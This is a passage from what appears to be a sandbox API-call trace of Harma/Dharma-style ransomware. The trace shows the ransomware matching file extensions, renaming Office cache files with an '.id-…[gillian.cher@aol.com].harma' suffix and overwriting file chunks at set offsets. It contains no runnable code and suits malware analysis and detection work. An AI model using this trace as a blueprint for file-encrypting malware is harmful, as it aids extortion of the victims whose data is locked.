(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.393] lstrlenW (lpString=".zip") returned 4 [0053.393] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.393] lstrlenW (lpString=".rar") returned 4 [0053.393] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.393] lstrlenW (lpString=".bz2") returned 4 [0053.394] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.394] lstrlenW (lpString=".7z") returned 3 [0053.394] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.394] lstrlenW (lpString=".dbf") returned 4 [0053.394] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.394] lstrlenW (lpString=".1cd") returned 4 [0053.394] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.394] lstrlenW (lpString=".jpg") returned 4 [0053.394] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.394] lstrlenW (lpString=".doc") returned 4 [0053.394] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.394] lstrlenW (lpString=".docx") returned 5 [0053.394] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0053.394] lstrlenW (lpString=".pdf") returned 4 [0053.394] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.394] lstrlenW (lpString=".xls") returned 4 [0053.394] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.394] lstrlenW (lpString=".xlsx") returned 5 [0053.394] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0053.395] lstrlenW (lpString=".ppt") returned 4 [0053.395] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.395] lstrlenW (lpString=".zip") returned 4 [0053.395] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.395] lstrlenW (lpString=".rar") returned 4 [0053.395] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.395] lstrlenW (lpString=".bz2") returned 4 [0053.395] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.395] lstrlenW (lpString=".7z") returned 3 [0053.395] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.395] lstrlenW (lpString=".dbf") returned 4 [0053.395] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.395] lstrlenW (lpString=".1cd") returned 4 [0053.395] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.395] lstrlenW (lpString=".jpg") returned 4 [0053.395] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.395] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0053.395] lstrlenW (lpString="VisioMUI.msi") returned 12 [0053.395] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0053.396] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=2797568) returned 1 [0053.396] CloseHandle (hObject=0x1ec) returned 1 [0053.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0053.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0053.396] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0053.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0053.397] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0053.397] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.397] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.422] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.422] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.650] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.650] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.650] ReadFile (in: hFile=0x1ec, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.807] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.807] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.023] SetEndOfFile (hFile=0x1ec) returned 1 [0054.023] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0054.027] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.027] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.096] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.096] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.102] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.102] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0054.105] CloseHandle (hObject=0x1ec) returned 1 [0054.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.105] lstrlenW (lpString=".doc") returned 4 [0054.105] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.105] lstrlenW (lpString=".docx") returned 5 [0054.105] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.105] lstrlenW (lpString=".pdf") returned 4 [0054.105] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.105] lstrlenW (lpString=".xls") returned 4 [0054.105] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.105] lstrlenW (lpString=".xlsx") returned 5 [0054.105] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.105] lstrlenW (lpString=".ppt") returned 4 [0054.105] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.105] lstrlenW (lpString=".zip") returned 4 [0054.106] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.106] lstrlenW (lpString=".rar") returned 4 [0054.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.106] lstrlenW (lpString=".bz2") returned 4 [0054.106] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.106] lstrlenW (lpString=".7z") returned 3 [0054.106] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.106] lstrlenW (lpString=".dbf") returned 4 [0054.106] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.106] lstrlenW (lpString=".1cd") returned 4 [0054.106] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.106] lstrlenW (lpString=".jpg") returned 4 [0054.106] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.106] lstrlenW (lpString=".doc") returned 4 [0054.106] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.106] lstrlenW (lpString=".docx") returned 5 [0054.106] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.106] lstrlenW (lpString=".pdf") returned 4 [0054.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.106] lstrlenW (lpString=".xls") returned 4 [0054.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.106] lstrlenW (lpString=".xlsx") returned 5 [0054.106] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.107] lstrlenW (lpString=".ppt") returned 4 [0054.107] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.107] lstrlenW (lpString=".zip") returned 4 [0054.107] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.107] lstrlenW (lpString=".rar") returned 4 [0054.107] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.107] lstrlenW (lpString=".bz2") returned 4 [0054.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.107] lstrlenW (lpString=".7z") returned 3 [0054.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.107] lstrlenW (lpString=".dbf") returned 4 [0054.107] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.107] lstrlenW (lpString=".1cd") returned 4 [0054.107] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0054.107] lstrlenW (lpString=".jpg") returned 4 [0054.107] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.107] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0054.107] lstrlenW (lpString="ProjLR.cab") returned 10 [0054.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0054.111] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=8265165) returned 1 [0054.111] CloseHandle (hObject=0x210) returned 1 [0054.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0054.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.111] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0054.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0054.139] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.139] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.139] ReadFile (in: hFile=0x210, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.144] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.144] ReadFile (in: hFile=0x210, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.152] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.152] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.152] ReadFile (in: hFile=0x210, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.356] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.356] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0054.434] SetEndOfFile (hFile=0x210) returned 1 [0054.434] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0054.569] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x210, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.570] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.570] WriteFile (in: hFile=0x210, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.573] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.573] WriteFile (in: hFile=0x210, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.576] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0054.576] CloseHandle (hObject=0x210) returned 1 [0054.576] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.576] lstrlenW (lpString=".doc") returned 4 [0054.576] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.576] lstrlenW (lpString=".docx") returned 5 [0054.577] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.577] lstrlenW (lpString=".pdf") returned 4 [0054.577] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString=".xls") returned 4 [0054.577] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString=".xlsx") returned 5 [0054.577] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.577] lstrlenW (lpString=".ppt") returned 4 [0054.577] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.577] lstrlenW (lpString=".zip") returned 4 [0054.577] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString=".rar") returned 4 [0054.577] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString=".bz2") returned 4 [0054.577] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.577] lstrlenW (lpString=".7z") returned 3 [0054.577] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.577] lstrlenW (lpString=".dbf") returned 4 [0054.577] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.577] lstrlenW (lpString=".1cd") returned 4 [0054.577] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.577] lstrlenW (lpString=".jpg") returned 4 [0054.577] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.578] lstrlenW (lpString=".doc") returned 4 [0054.578] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString=".docx") returned 5 [0054.578] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.578] lstrlenW (lpString=".pdf") returned 4 [0054.578] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString=".xls") returned 4 [0054.578] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString=".xlsx") returned 5 [0054.578] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.578] lstrlenW (lpString=".ppt") returned 4 [0054.578] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.578] lstrlenW (lpString=".zip") returned 4 [0054.578] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString=".rar") returned 4 [0054.578] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString=".bz2") returned 4 [0054.578] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.578] lstrlenW (lpString=".7z") returned 3 [0054.578] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.578] lstrlenW (lpString=".dbf") returned 4 [0054.578] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.579] lstrlenW (lpString=".1cd") returned 4 [0054.579] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0054.579] lstrlenW (lpString=".jpg") returned 4 [0054.579] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.579] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0054.579] lstrlenW (lpString="DW20.EXE") returned 8 [0054.579] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.605] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=838536) returned 1 [0054.605] CloseHandle (hObject=0x164) returned 1 [0054.605] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0054.605] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 